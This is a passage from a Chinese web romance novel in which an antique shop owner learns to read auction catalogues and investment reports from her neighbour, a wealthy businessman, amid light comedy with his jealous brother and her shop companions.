“我就是想提醒你，门口有人，已经等了一会了。”柳如烟瞥一眼门外，恢复正常说话声。 “……谢谢你，提醒得真及时。” 冷不丁看到黎行聿站在188号院门口，萧妧妧面颊微红，只希望他没看到自己发癫。 要面子的萧妧妧噌一下爬起，站得笔直，她一边请黎行聿进店，一边若无其事的搭话。 黎行聿提起嘴角，不知道是礼貌微笑还是在笑别的什么。 “我来送图录，不过看起来，这本应该不需要了。” 比砖头厚的宣传册他带来了四本，其中一本是佳博的藏品图录，他抽出这本放在一边，另外三本推到她面前。 萧妧妧茫然分辨上面的英文字母，不多时，眼睛一亮：“这是……苏富比和佳士得！” 前脚想着看看国外的拍卖行，这才不到半天，图录已经送到眼前，比许愿还快。 萧妧妧又惊又喜，看黎行聿像看阿拉丁神灯一样。 黎行聿清清嗓子转移话题：“我大致看了一些，有几件珠宝还不错。” 萧妧妧闻言，像是想到什么，神色微妙变幻，随即，目光越发灼热，几乎黏在他脸上。 黎行聿实在扛不住，不自在地抹了抹鼻尖：“看我做什么？” 萧妧妧谄媚地嘿嘿笑，挪着碎步凑到黎行聿身侧。 “黎总您见多识广，是不是很会看图录？” 黎行聿顿时了然，再看她讨好的笑容，不禁轻笑出声。 抽走她抱进怀里的几本图录，翻开，坐下，黎行聿问道：“哪里不明白？还是从头开始？” 萧妧妧欢呼一声，好听话不要钱似的扔出去，乖乖坐下，端茶倒水。 “除了图片能看懂，其他都不太明白，眼睛快看花了，您大发慈悲从头开始吧。”萧妧妧吐槽完，急忙道：“咱们先看佳博，没几天就是秋拍，很着急的。” 黎行聿便拿来佳博的藏品图录，从第一页开始翻，教她如何解读图录展现出来的信息。 “先看估价，图录显示这件书法作品的估价区间在150至200万，由此我们可以推算出它的底价……” 萧妧妧傻眼，忍不住插话：“原来估价是这个作用啊。” 黎行聿笑笑，继续道：“保留价就是底价，这是需要对竞拍藏家保密的信息。之所以说可以推算出来，是因为一件藏品的估价通常是保留价的1.2-1.5倍。” 萧妧妧拧紧眉头：“那起拍价呢？” 她想起自己的亲身经历，送拍的青白玉扳指保留价7万，起拍价和保留价差不了多少。 黎行聿耐心解释：“起拍价是公开价格，它可以低于、等于、高于保留价，落锤价低于保留价，拍卖不成交。 比如这件书法，150至200万的估价，是专家团队对藏品做出高低两个估价，起拍价通常会参照最低估价根据一定比例，在估价区间设定。正常来说，这个比例在50%-70%左右。” 萧妧妧举手抢答：“所以它的起拍价大约是在……75万到105万这个范围。” 黎行聿：“回答正确。” “这是正常情况，也有特殊情况存在，比如专家判断它为流拍风险较高的藏品，比例则会降到30%甚至更低，以此吸引竞价。 这就是为什么会出现起拍价低于保留价的情况。 如果书法作品是名家珍藏，行情很好，起拍价则有可能等于低估价。 当然，其中还涉及到一些定价技巧，与买家的心理博弈，总而言之，起拍价低于市场价的情况并不算少见。” 萧妧妧哇了一声，要不是黎行聿讲解，她上哪知道一个小小的估价区间藏了那么多知识点。 说起来，玉扳指能以保留价作为起拍价竞拍，运气确实算不错的了。 “那这里呢？星号是什么意思？字母又代表什么？” 萧妧妧有一堆问题等着解答，眨巴眼睛望过去。 黎行聿抿一口茶水润润嗓子，继续他的图录解读教学。 柳如烟瞄了一眼又一眼，听里面一会传来笑声，一会传来萧妧妧夸张的赞叹，偷笑一会，蹑手蹑脚进小卖部，拉来申明月一起看热闹。 孟甜甜拖着满身疲惫回来时，天空已然转换成静谧的深蓝，院中灯火通明，蝉鸣鸟叫交替响起，此起彼伏。 视线落到院子里，两颗小脑袋凑在古董铺窗边，越过雕花窗，萧妧妧和有过一面之缘的男人捧着书讨论什么。 孟甜甜无奈地摇摇头，脱了雨衣和雨靴藏起，踮脚靠近，一手提溜一个，推着两人离开。 【作者有话说】 感谢读者“又是攒不了文的一天”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“mmmosquito”,灌溉营养液 +5 感谢读者“熙妍”,灌溉营养液 +5 感谢读者“多来点我爱看”,灌溉营养液 +1 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“豆浆不好喝”,灌溉营养液 +5 145 第145章 ◎不破斋，你出息了！◎ 藏品图录大有学问,萧妧妧除了图片信息能看明白，其他一窍不通。 要辨别图录展示出来的来源记录，要看藏品的估价区间，再关注藏品可能存在的特别条款。 如果是珠宝类藏品,看到合心意的还要联系拍卖行出具检测报告。 以上流程全部完成,心意不变,接下来是了解相似藏品的近几年成交价,为竞拍做准备。 学到最后，萧妧妧脑子乱哄哄,全靠笔记本记下重点，回头对照着笔记实践应用。 见她接连打呵欠,黎行聿扫一眼腕间手表，及时叫停。 “今天太晚了,早点休息，明天再继续,*正好我休假,在这里还是去我家？” 萧妧妧哈欠打到一半,闻言,迟钝意识到时间已经很晚,神色懊恼。 黎行聿没听到回声，偏头，挑眉询问。 萧妧妧垂头耷脑，带着歉意的语调柔软温吞：“对不起啊,浪费你一晚上休息时间，还要占用你的休假,我好像挺烦人的。” 要不是刚上手不熟练,萧妧妧肯定不愿意麻烦他。 但不想麻烦也麻烦他许多回了,黎行聿不知道会不会烦她。 黎行聿：“不烦，和你在一起很开心，对我来说是一种独特的放松方式。” 萧妧妧耳尖轻颤，内心忍不住哇了一声，他说话可真体面。 抬眸偷瞄，黎行聿保持着专注地注视，面上神情再正经不过，完全不像是说场面话。 萧妧妧当真了，挠头憨笑：“那我……明天去你家？我只学半天，不耽误你太多时间。” 黎行聿勾起唇角，神情轻松愉悦：“那就上午吧，具体时间你定，我随时都在。上回给你的投资案例带来，顺便一起教了。” 萧妧妧刚振作起来，闻言瞬间垮下肩膀。 黎行墨看得好笑，拍了拍她后脑勺。 “别忘了周三的生日宴。”临走前，黎行聿担心她忙过头顾不过来，提醒了一句。 萧妧妧一愣，还真的差点给忘了。 宴会后一天是七夕节，景区要办活动，到那天，小卖部该正常营业了。 送黎行聿到巷子口，萧妧妧折返回店里，先忙着检查一遍货架，临期的撤走，填补货架空缺，再去院子门口等待今晚的货。 百无聊赖玩着手机，高鹭这时发来了一条好消息- 何文看中你店里的白月光了，过几天路过南市会去你店里看看，我把你联系方式给他了，你们自己商量一下啊 萧妧妧精神一振，瞬间从椅子上弹坐起，高兴地亲一口手机，忙不迭给她回消息。 前有影后，后有视帝，不破斋，你出息了！ 说到影后，萧妧妧想起今天高鹭来时遇见了几个年轻人合影，心血来潮去网上搜了一下。 巧的是，还真看到他们发出合照，顺带宣传了一波古董铺- 高鹭是第二次去吧？我们去能遇见明星吗？- 宝宝，可以S一下店铺地址吗？- 博主有没有看到高鹭买了哪件翡翠啊？- 真羡慕，我超喜欢高鹭的，如果博主知道她买了哪款一定告诉我，正好最近想买翡翠，试试看能不能买个便宜的同款- 看博主描述，店主脾气真好，给我摸600万的东西我是真不敢- 所以店里的翡翠都是真的？我以为……- 在最无力的年纪看中了博主拍的帝王绿，我的天，是我血脉觉醒了吗？真的好漂亮- 妈妈，我在网上看到了600万的春带彩，还有帝王绿！- 天哪，也没人说古董铺还卖这么多翡翠，博主发出来的几张我全看中了，告诉我价格让我死心- P4右上角有个紫色的圆球，我的天，好漂亮，求求博主多发几张。 刷了几个评论较多的笔记，看到明星同款几个字，萧妧妧心思一动。 她确实见过有明星带翡翠手串手镯，粉丝跟风买了同款。 萧妧妧瞥向自己的存货，随即打消心思。 算了，高鹭的同款应该没人买得起。 想是这么想，萧妧妧也没放过机会，相册里扒拉出帝王绿手串的图片，发到平台后，暗戳戳加了一句“明星同款”的标签。 趁着粉丝活跃度高，萧妧妧干脆把照片整成合集一股脑发出去。 大到手镯项链，小到挂件戒圈，一个不落。 “萧老板，接货喽。” 路障降入地底，厢式货车依次进入巷子主路，停在院墙外，司机探出窗吆喝一声，推门下车开始搬运。 这一声吆喝让萧妧妧回神，收了手机开始忙碌，孟甜甜在院子中健身练习复合弓，听到声音放下东西来帮忙。 这两车全是苏娇娇的物资，确认清单后，萧妧妧全推去小仓库存放。 有米面粮食，还有她订的老式缝纫机，顺手从外婆家村子里订做的老式棉袄也来了。 苏娇娇不知道满意不满意，反正萧妧妧看到这一堆堆杂七杂八的东西，心里别提多满足了。 要不，再买个十几辆老式自行车？ 萧妧妧不确定苏娇娇需不需要，就是想花这份钱，于是掏出手机找门路，看看有没有办法弄来东西。 孟甜甜做完收尾的工作进去冲澡准备睡觉，擦着头发出来的时候，余光瞥到墙角有亮光，定睛一看，萧妧妧黑蘑菇似的蹲在地上。 “萧老板，晚安。” 萧妧妧下意识应一声晚安，看到时间接近凌晨一点，打了个大大的呵欠，锁门，回家。 想到第二天和黎行聿有约，她提前翻出带回来一眼没看过的投资案例，梳洗过后，关灯，睡觉。 第二天天不亮，窗外叽叽喳喳的鸟叫吵醒了她。 萧妧妧赖在床上扭动了半天，不情不愿爬起。 “你看看你，做个生意也三天打鱼两天晒网，都几点了，赶紧看店去。” 萧妧妧晃晃悠悠来到厨房觅食，出门撞见爸妈扛着大包小包一顿忙，没等她开口问，爸妈先一步催促。 “我可没偷懒，上午有大师课，我是去补课的。”肉包子塞得脸颊鼓鼓，萧妧妧含含糊糊问：“你们要搬家？没跟我说过啊。” 萧大明把大小蛇皮袋绑在家里的旧电动车上，头也没抬的回：“搬什么家，没到吉日呢。我们先去把月牙湾那个别墅整整，今天的任务是开出一片地，撒点种子育苗去。” 萧妧妧瞄一眼时间：“我送你们过去？” 萧大明连连摆手：“哪用得着你，补你的课去，上课别睡觉啊，好好听老师说。” 萧妧妧挠头，怎么有种回到高中补课的窒息感。 踩着点收拾好自己，抱起图录和案例，萧妧妧出了门噔噔噔跑到231号敲门。 略等了十几秒，大门刚打开一条缝，大王呼哧呼哧扑来卖萌。 萧妧妧腾出一只手揉了揉狗头，仰头去看门后的人。 黎行聿穿着宽松白T，配了一条灰色运动短裤，干净又清爽，他一手扶门，一手提着飞盘，显然在陪大王玩游戏。 萧妧妧低头看了看自己的打扮，巧了，白T灰裤衩，撞衫了。 黎行聿多看了她一眼，唇角勾起，“先进来吧，吃过早饭了吗？” “吃了吃了，辛苦黎老师。”进了院子，她很有眼色的对大王说：“借你的铲屎官用用，很快还你。” 大王呜呜几声，跟在萧妧妧身后一起进了客厅。 方爷爷一家住在231号的时候，萧妧妧没少来玩，只记得院子很大，房间很多，东西很杂。 现在再看，完全大变样。 东边两层楼几间房全部打通，宽敞到空旷，生活区连着健身区，尽入眼底。 萧妧妧忙着欣赏独特的装修风格，落后一步进屋，刚站定，黎行聿问：“喝茶还是饮料？” 萧妧妧想说白开水就好，黎行聿这时拿出一听可乐，继续道：“对了，有可乐，冰镇的可以吗？” 萧妧妧眼眸弯弯，欢快改口：“可以可以。” 她话音落下的时候，黎行聿自然而然地拿着冰镇可乐走来，仿佛已经料到她的选择。 萧妧妧有一瞬间怔愣，短短几周而已，她和黎行聿未免混得太熟了吧，类似状况只在好闺蜜间发生过。 “去书房还是在这里？” 萧妧妧回神，无所谓耸肩：“都行。” 在客厅找了个舒服的区域，黎行聿的大师课开课了。 藏品拍卖事关花钱赚钱，萧妧妧无比认真，连大王趁机贴过来都忍住没去撸它。 拍卖行图录结构大差不差，各行之间细节略有差异，学会怎么看国内拍卖行的图录后，国外拍卖行的同样要学。 萧妧妧一一记下要点，再套公式去分析黎行聿随机抽选的几件藏品，磕磕巴巴回答完，仰头等他现场批作业。 黎行聿双手环胸，垂眸思索。 萧妧妧等不及，一把薅来大王，胳膊勾起狗头往怀里带，作势威胁。 “你的爱狗在我手里，你也不想我对它做过份的事吧？”她恶狠狠地说。 大王傻憨憨瞪着圆眼睛，十分应景地并拢前肢晃动，做出求饶动作。 不仅黎行聿看得愣住，连萧妧妧也惊叹不已，抿唇偷笑。 “冤有头债有主，大人的恩怨和孩子无关，有什么事冲我来，”黎行聿配合地说完台词，低笑一声：“恭喜萧妧妧同学，100分。” 萧妧妧满脑子一百分，眼眸瞬间灵动，骄傲抬起头。 “也恭喜黎老师教出天赋异禀的学生。” 萧妧妧得意一会，拍拍大王狗头，放它自由。 大王以为在玩游戏，嗷呜一声挤进两人中间，尾巴甩来甩去拍打黎行聿的脚踝，狗爪子搭在萧妧妧腿上，狗头乱拱撒娇。 萧妧妧只好陪它玩了一会，再抬头，黎行聿换来几份项目投资案例排在桌面。 “先看哪一个？” 萧妧妧抬眸，不禁深深叹气，她好像真的没有学投资的天份，才看到标题就开始头疼了。 一会挠头一会皱眉，一会又抿唇不说话，黎行聿看她小动作不断，换了个方式。 “四个项目同时在五年前启动，结合当时的政策导向，你看好它们之中哪一个能实现盈利？回报率最高和最低分别是哪一个？ 如果结合当下的经济环境再分析它们，未来十年里，你看好哪一个项目？” 左看看右看看，四个项目涉及行业天差地别，萧妧妧头大了，反问道：“都是你主导的项目吗？” 黎行聿：“公司内部文件保密，其他人的项目我不能给你看，这些是我前几年做过的投资项目评估资料。放心看，不涉及机密。” 确定这一点，萧妧妧不假思索，语气笃定回答：“如果是你投的项目，那肯定都赚钱了啊，一个比一个赚。我选择全部实现盈利。” 至于哪一个最赚…… 萧妧妧眼睛一扫，落在其中一份文娱公司的风险评估报告。 她听过这家公司的名字，知名度不小呢。 细长指头在四份文件上徘徊了片刻，很快选定目标。 “就是它！” 萧妧妧为自己的机智比了个大拇指，脑袋一偏，眼巴巴等黎行聿揭晓答案。 黎行聿深深回望，仔细分辨她细微的神情变化，试图辨别这番话是言不由衷的赞美，还是敷衍的奉承。 “怎么了？我选错了吗？不能吧……”萧妧妧自我怀疑片刻，赶紧撤回回答：“等等等等，我换一个！” 指尖再次悬空，左右徘徊不定。 黎行聿定定地望着她，看她眉头拧紧又放松，许久，笑意情不自禁泛起，黝黑深邃眼眸闪烁细碎光芒。 【作者有话说】 赶上了[撒花] 先发后改~ 感谢读者“”,灌溉营养液 +10 感谢读者“eximious~chyx”,灌溉营养液 +1 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“虫子太多好可怕”,灌溉营养液 +1 感谢读者“mmmosquito”,灌溉营养液 +1 感谢读者“A玉”,灌溉营养液 +1 感谢读者“四方”,灌溉营养液 +1 感谢读者“Duoddoo”,灌溉营养液 +1 146 第146章 ◎只有他在默默破防◎ “一定是它,这次不会错了。” 萧妧妧精挑细选一番，信心满满地捧起文件。 黎行聿没说对也没说不对，抽走文件翻开，教她怎么解读报告。 萧妧妧眨巴眨巴眼睛,再次确定,自己不适合学投资。 思绪走偏,萧妧妧一会撸狗头,摸狗爪，一会眼神放空黏着黎行聿在纸上划来划去的修长手指。 “……看懂了吗？” 萧妧妧听到一声叹气,迟钝回神，连连点头,“看了看了，真好看。” 顺着她的视线看向自己的手,黎行聿不禁沉默了几秒，幽幽问：“手好看还是数据好看？” 萧妧妧脱口而出：“那当然是手。” 直到听见旁边传来沉闷又无奈的笑声,萧妧妧才反应过来自己胡说了什么。 嘴角轻抽几下,萧妧妧强忍尴尬,梗着脖子嘴硬：“我又没说错,你笑什么？” 萧妧妧没有什么手控腿控眼睛控的特别爱好,但审美水平在线，看到好看的手指多看两眼很正常。 不正常的是走神被抓包了，萧妧妧有些愧对认真教学的老师，于是毫不吝啬自己的赞美,转移话题，并希望老师别计较。 黎行聿拨了拨碎发,不自觉蜷缩起手指,停顿片刻,他又若无其事地松开，略显僵硬地搭回桌面。 萧妧妧又看了两眼，还是觉得好看。 未免打击老师的教学热情，萧妧妧正襟危坐，抖了抖文件，语气严肃正经：“刚才讲到哪里了？我们继续。” 黎行聿嗯了一声，“法律风险通常是爆雷重灾区……” “这里讲过了，接下来应该是运营风险。”才听他说了个开头，萧妧妧小声打断。 虽然没能听懂，又全程盯着手看，但是耳朵在听，她确定这里已经教过一遍。 黎行聿倏地顿住，呼吸乱了几秒很快找到节奏，“看起来你都学会了，总结一下我说过的风险内容？” 萧妧妧缩了缩脖子，弱声道：“没有没有，还一窍不通呢，您继续您继续。” 黎行聿按着她的脑袋转回去：“别看我，看文件。” 萧妧妧哦了一声，被迫沉迷学习。 然而正经不过几分钟，灵动的狐狸眼再次呆滞，眼神渐渐放空。 刚才光顾着看手了，怎么这会才发现，黎行聿的声音格外挺好听，介于清亮与沙哑之间，细听之下竟然有种金属质感，唱rap不知道是什么味，或许适合唱点R&B，迷幻电子风也可以试试。 好奇，想听。 黎行聿没听到回应便知道她又走神了，哭笑不得。 他算是看出来了，萧妧妧全靠兴趣驱动学习能力，感兴趣的会认真钻研，不吝啬时间精力，不感兴趣的，就是手把手教她也学不进去。 黎行聿看一眼手上的某科技公司报告，想了想，准备换成萧妧妧最先挑出来的文娱项目。 他还没做出动作，萧妧妧看他突然放下文件，声音也戛然而止，以为教学结束，小声欢呼。 “黎行聿，你声音真好听，我差点听睡着了。” 黎行聿淡声问：“这就是你上课走神的理由吗？” 甩锅失败，萧妧妧讪笑，“要不还是算了吧，白耽误你时间，我根本学不进去，大概是没有天赋吧。” 黎行聿：“我的学生天赋异禀，不要小看自己。况且，这才是开始，远不到用天赋的阶段。再试试，先从你熟悉的行业学起。” 萧妧妧看他拿起另一份文件，意识到自己误会了，离下课早着呢，巴掌大的脸蛋紧皱，五官挤成一团。 “我倒是可以学，但是大王它一只狗，没必要跟我受苦，我觉得它想出去玩飞盘。” “而且我们总说些大王听不懂的内容，它一只狗会觉得自己被孤立了，对它的成长影响不好。” “也不是说我不想学习，就是吧……对狗不好。” 黎行聿似笑非笑，撑着额头看她绞尽脑汁想逃课理由。 “大哥，你怎么在家？” “……妧妧姐！” 说话间，一男一女两道震惊的嗓音从门口方向传来。 萧妧妧扭头，是黎行墨和云昭昭，两人的表情比他们的语气更加震惊。 黎行聿收敛笑意，视线从萧妧妧身上挪开，投向她身后的玄关大门。 “会议结束了？怎么没去佳博？” 黎行墨来回在两人身上打转，越发觉得不可思议。 什么时候的事啊，他们都穿上情侣装了！ 总说他坐没坐相的大哥没比他好到哪去，盘腿席地而坐，身侧是同样歪歪扭扭坐姿的萧妧妧，面前的矮几摆了一堆乱七八糟的东西。 薯片、果盘、可乐、巧克力、坚果……旁边是不该出现在零食堆里的办公文件。 那他这么多年看文件时吃零食挨的教训算什么？ 等等，怎么会有可乐？这会儿不担心小月亮偷喝碳酸饮料了？ 黎行墨有点破防，明明他才是亲弟弟！ 这时，没有享受到萧妧妧揉耳朵服务的大王不满探出脑袋，狗头突兀的出现在两人中间。 黎行墨深呼吸，差点气笑了。 凶巴巴的大王像换了个品种，毫无捷克狼犬的尊严，狗脸谄媚地贴着女人撒娇。 他之前的投喂又算什么？ 黎行墨半张着嘴说不出话，直到大哥率先发问。 黎行墨浑身紧绷，顾不上问他们什么情况，支吾回答：“结束了，没什么大事，我回来午休，顺便拿个文件，下午去佳博。” 听云昭昭说，黎行墨松散随性，黎行聿平时管教得会严格一些，但萧妧妧没想到会是这样的状况，弟弟见了哥哥吓得脸色都变了。 黎行聿无奈：“不是我严格，是他在心虚。” 黎行墨愤愤，敢怒不敢言，到底是谁该心虚啊？ “你们为什么……” “我们去拿文件。” 云昭昭一听黎行墨开口便知道糟了，急忙打断，又反应迅速地拖住他胳膊往外带。 到了院子中，黎行墨仍是一脸惊愕：“大哥太过份了，大半夜把我拽起来，让我一大早赶去黎明替他开会，我以为有什么重要事情呢，他倒好，自己在家躲清闲。” 他不满控诉：“要不是我旷工，我都不知道他们在谈恋爱！” 云昭昭回想刚才的画面，两人挨得很近，但又保留了一定距离。 她迟疑否定：“不像是谈恋爱，妧妧姐的反应太正常了。” 倒是黎先生很不对劲…… 云昭昭瞄一眼黎行墨，暗示。 黎行墨皱了皱眉，不得不承认云昭昭的观察结果是正确的。 “有没有问题看了就知道。” 这么想着，黎行墨折返回去。 ……………… 萧妧妧挠挠头，不解道：“他们怎么古古怪怪的？” 黎行聿：“不用管他们，继续。” 萧妧妧憨笑，指了指墙上时钟：“中午了，该放学吃饭了。” 黎行聿抬眸，不知不觉，时间已经到了11点。 他撑着桌子起身，拿来几包薯片塞给她：“饿得话先少吃一点，我去准备午饭。” “啊？”萧妧妧瞬间呆住，反应不能。 黎行聿径直走进厨房，系上围裙，“我会的不多，三菜一汤可以吗？” 萧妧妧没听清说了什么，下意识点头。 等黎行聿依次从冰箱里拿出洗净的菜品，萧妧妧终于回过味，噔噔噔跑过去。 “不是，你要自己做饭啊？”她环顾空旷的大房子，“按理说，不该有什么保姆厨师的吗？” 黎行聿熟练从柜子里拿出餐具和调味品，备菜，调料汁。 萧妧妧看得一愣一愣，低估他了，看起来是真会做菜。 黎行聿：“月末了，阿姨们要休假。放心，我的水平还可以。” 萧妧妧嘀咕，难怪进门后只看到他在。 她只是想找个借口下课来着，这下倒好，莫名其妙留下吃午饭，看他动作流畅的做起准备工作，萧妧妧想拒绝都不知道怎么开口。 窗外，黎行墨冷笑着吐槽：“听听，这是人话吗？一大早冠冕堂皇地通知阿姨们放假，让我在外面解决吃饭问题……呵。” 云昭昭嘘了一声，想拉他赶紧离开，万一被黎先生发现就糟了。 黎行墨不愿意走，倒要留下来看看还有什么他没见识过的场面。 云昭昭拿他没办法，猫着身子，鬼祟偷瞄。 “黎先生竟然会做饭，我还是第一次见呢。” “说到底是一项基本生存技能，很有学习的必要，至少可以保证自己饿不死。 国外留学的那几年压力大，那时候全靠做饭解压。 我和陈以南就是这么认识的，他要满足口腹之欲，而我需要一个人解决食物。” 面对萧妧妧同样的疑问，黎行聿微笑解答。 萧妧妧哇了一声，有钱人靠做饭解压，听起来像神话故事。 “按照你的观念，其他生存技能也都要学？” “排骨想吃哪种？红烧还是煲汤？”与此同时，他偏头询问。 萧妧妧舔舔唇，不客气地点菜：“红烧！旁边的茄子是要和肉沫一起做吗？拜托做得软烂一点，特别下饭。” 黎行聿弯起眼眸：“好。” 他一心二用，手上忙着处理食材，同时和萧妧妧接续上一个话题：“差不多，保命级的物理生存技能都有涉及，比如驾驶方面，汽车、直升机、快艇，最差要拿到证书。” 萧妧妧瞪大眼睛：“急救呢？也要学吗？” 黎行聿点头：“机载医疗设备需要了解使用方法，还有一些极端环境的求生手段，多少要知道些。” 萧妧妧咋舌，一本正经地惊叹：“你走错片场了，该去末世求生副本，妥妥的末世气运之子。” 黎行聿低声笑。 黎行墨嘁了一声，“显摆，谁不会似的，平时怎么没见他有闲工夫自己动手。 昭昭，你别这么看他，我哥说的这些我都学过，我姐也学过，我们家的孩子没有不会的，等小月亮长大了，她也要学。” 云昭昭赶紧捂住他嘴巴，求他小声些。 既然点菜了，萧妧妧自然不好厚脸皮等饭吃，客气表示进去帮忙。 黎行聿偏了偏头，示意她去看身后眼巴巴的大狗。 “比起帮我备菜，大王更需要你。对了，它最近学会了后空翻，让它表演给你看。” 她可不像黎行聿，没有做饭解压的爱好，接收到拒绝信号，干脆溜走。 “哇哦，谁家的狗狗这么厉害啊，来来来，我要看后空翻。”萧妧妧怪声怪调凑近，伸出魔爪。 看她欢快跑开，扑到沙发边吓唬大王，又抱起大王教它跳舞，黎行聿笑了笑看热闹。 等萧妧妧听到厨房传来动静，抓紧时间，什么案例评估报告一股脑藏起，拆了一包薯片，一边等狗子后空翻，一边吃零食。 暗爽的哥，傻乐的邻居，吃瓜的女友，只有他在默默破防。 黎行墨嫉妒的咬牙切齿，这种好日子他什么时候享受过？ 【作者有话说】 感谢读者“我也不知道我叫啥”,灌溉营养液 +1 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 感谢读者“哈哈哈哈哈”,灌溉营养液 +1 147 第147章 ◎好消息◎ 享受了一把黎行墨没有享受过的好日子,最后，萧妧妧揉着吃到撑的胃，慢慢悠悠溜达着离开。 临近七夕情人节，临街店铺和月牙巷陆续开始妆点工作,再加上暑期暴增的游客,到处闹哄哄。 厚厚一摞藏品图录咚的一下砸在桌上,萧妧妧抹了一把汗,不敢想节日当天能热闹到什么程度。 歇息一会，查看店里情况,她放心地把看店任务交给柳如烟，骑上史努比去银行兑支票,顺带办理粮食销售许可证。 许可证好说，前一天预约过,信息资料提前填好提交，到了现场直接拿证。 支票兑现反而耽误时间,实在是数额巨大,哪怕她提前和客户经理预约过依然碰到了麻烦。 忙忙碌碌到傍晚,萧妧妧带着客户经理送的定制红酒一瓶、600克纯金手镯一只、爱马仕餐具一套,蔫头耷脑的回来了。 “我回来了。”萧妧妧推门进院子,有气无力地喊了一声。 爱丽丝欢快跑来，递上满满一碗西瓜果肉，冲她甜甜地笑。 柳如烟抱着平板急急忙忙找来，“萧老板你快救我,差一点要死掉了，都怪甜甜小气不肯帮忙。” 萧妧妧低头,平板画面显示某个解救被困者的解压小游戏。 孟甜甜慢一步上前,接过萧妧妧手里的东西放在石桌上,对爱丽丝说：“爱丽丝，先让萧老板去洗手，乖，坐下来等。” 爱丽丝哦了一声，抬头道：“这一碗都是姐姐的。” 然后回到树下石桌边。 萧妧妧松了一口气，每次进门面对大家，总有种一大家子全靠她养活的错觉。 伸出手指头，在屏幕上划了两下，游戏顺利通关，激烈音效和柳如烟的欢呼同时响起。 真想知道整天追剧玩游戏的柳如烟到底哪来的压力需要解。 萧妧妧先去卫生间洗手擦脸，浑身凉快下来才在树下歇息。 “今天忙什么了？看起来比前几天都累。”孟甜甜一边演示教学，告诉爱丽丝怎么处理食材，一边和萧妧妧闲聊。 萧妧妧：“上午是脑袋累，下午是心累，加在一起就是累得要死。” 孟甜甜把那碗西瓜推过去：“快吃吧，爱丽丝给你留的，我先教她怎么做菜做饭，晚饭我们自己来，你要回家还是跟我们一起吃？” 萧妧妧毫不犹豫：“一起吃。” 说完，她哀嚎一声扑过去抱住孟甜甜撒娇：“甜甜~小卖部没有你可怎么办啊。” 孟甜甜笑着看她耍赖，道：“没有甜甜还会有酸酸、辣辣、咸咸。我们没有小卖部才是不知道怎么办呢。” 萧妧妧闷声道：“那我以后多留点时间在店里，再不想出去办事了。” 摇椅上一躺，异世界的客人排队送宝贝上门，去银行兑现，各种流程和询问轮番来，说得口干舌燥，资金也不算完全到账，要等待48小时。 银行人孟甜甜闻言深有同感，配合她一起吐槽。 嘴里吃着西瓜，耳朵里听着银行的瓜，萧妧妧格外满足。 一顿晚饭热热闹闹吃完，天色已然黑透，等待收货的过程中，萧妧妧终于找到机会继续看图录。 黎行聿带着她一起随机解读了50件藏品，速度明显提升，至少她不再需要临时翻开笔记确认信息。 后面的藏品她得靠自己慢慢挑选，选出几个好苗子，预展的时候重点关注。 因着黎行聿佳博大老板身份，这次学习倒是透露了几个行业内幕消息。 萧妧妧记着他的话，直接跳过书画和当代艺术品，只盯古代器物。 尤其高古藏品、名家旧藏，不管是瓷器玉器或是金器，都是非常不错的选择。 说来奇怪，经济环境颓势尽显的当下，拍卖业务反而越发红火，其中古董的表现较之以往更为亮眼。 送拍的多，成交的更多。 萧妧妧猜测，可能是老藏家们也遇上经济危机了吧，适当回回血。 换一种角度来看，古董确实是值得投资的资产 在这样的行情下，萧妧妧没理由不冲一把，毕竟拍卖行上捡漏的故事她没少听许年华说起。 趁着大环境低迷购入，经济情况好转，价格必定有所回升。 比如第一个釉里红瓷瓶，旁边小字标注来源，第一次在十五年前的四大行拍卖，落锤价800万，第二次同样在四大行之中的另一家拍卖，才过去七年，落锤价达到了1900万。 而这次的佳博秋拍，因大环境影响，高价古董不好出手，内卷的风气侵袭拍卖业务，估价惊爆眼球，低估价仅380万，高估价才490万，非常有吸引力，足以预料竞拍会有多激烈。 萧妧妧看得眼热，撕下标签贴上去标记，只等预展用估价功能把关。 第二件瓷器是龙纹青花大肚瓶，此次秋拍中瓷器里的重点之一，第一次上拍，属于生面孔，大家都没见过。 听黎行聿说，有许多藏家重点关注它，其中包括孟有树。 毕竟对于混迹拍卖行的职业买家而言，数次上拍的藏品毫无吸引力，想买早买了，生面孔不一样，总能激起大家的热情。 萧妧妧一看图录上的估价，暗道一声难怪，按照市场行情，类似的瓶子起拍价少说2、3000万，落槌价1亿不是问题，这件受来源影响，低估价仅有2000万。 倒不是说来源不明，而是送拍它的藏家来自民间，家传藏品，大家持保留意见，都等预展时仔细掌掌眼。 萧妧妧想了想，又贴出去一张标签。 再看下一页，萧妧妧嚯了一声，真名家旧藏，后被国外收藏机构以4000万价格拍下，这次送拍估价很妙，600-1200万，同样有着无与伦比的吸引力。 送拍机构名气不小，梅因堂，国外专做古董瓷器艺术品收购，但也因为这一点，必须保持警惕。 国内外对古董瓷器的判定存在出入，外国人认为老得不行，在国内藏家眼里稍显不足，谁知道梅因堂会不会走眼。 如果东西保真，萧妧妧挺想买这件，中五位数的起拍价可不低，能筛出去大部分竞争者，说不准真有漏可以捡。 又往后翻了几页，看到以往成交价，对比市场行情，再看现在的估价，萧妧妧喜不自禁。 卷，太卷了，一个比一个卷。 萧妧妧看什么都像漏，早把黎行聿的建议抛在脑后。 她是第一次正儿八经参加拍卖没错，但难得遇见这么多好东西，谁甘心买点几十万的小东西练手啊。 抱着捡漏的心，萧妧妧前所未有的认真。 她手上能动用的资金只有2亿出头，必须好好规划一下，选出一到三件精品。 月色皎洁的夜晚，四台摇椅并排排在木绣球树下，吱呀吱呀声仿佛有催眠效果。 爱丽丝练了一天挥臂和生存技能，最先扛不住困意，道一声晚安回去休息。 柳如烟玩了一天小游戏，到现在还兴致勃勃，嘻嘻哈哈的电子音效没停下来过，见天色完了才依依不舍离开。 四台摇椅停下两台，只剩下望着天空发呆孟甜甜，和啪啪啪贴标签的萧妧妧。 两人有一搭没一搭地蹬腿，让摇椅轻轻晃动。 十点过十分的时候，送货师傅吆喝一声，两人齐齐爬起，打开门接货。 萧妧妧让孟甜甜去休息，反正店里的活也不该她一个借住的客人来做，孟甜甜已经帮她分担了很多。 孟甜甜摆摆手：“最近买的东西有点多，你就让我搭把手吧。” 萧妧妧想，店里物资齐全，她能买多少东西？ 心里正不以为意，看到快递送来的大件，萧妧妧嘶了一声。 两人抬回去够呛啊。 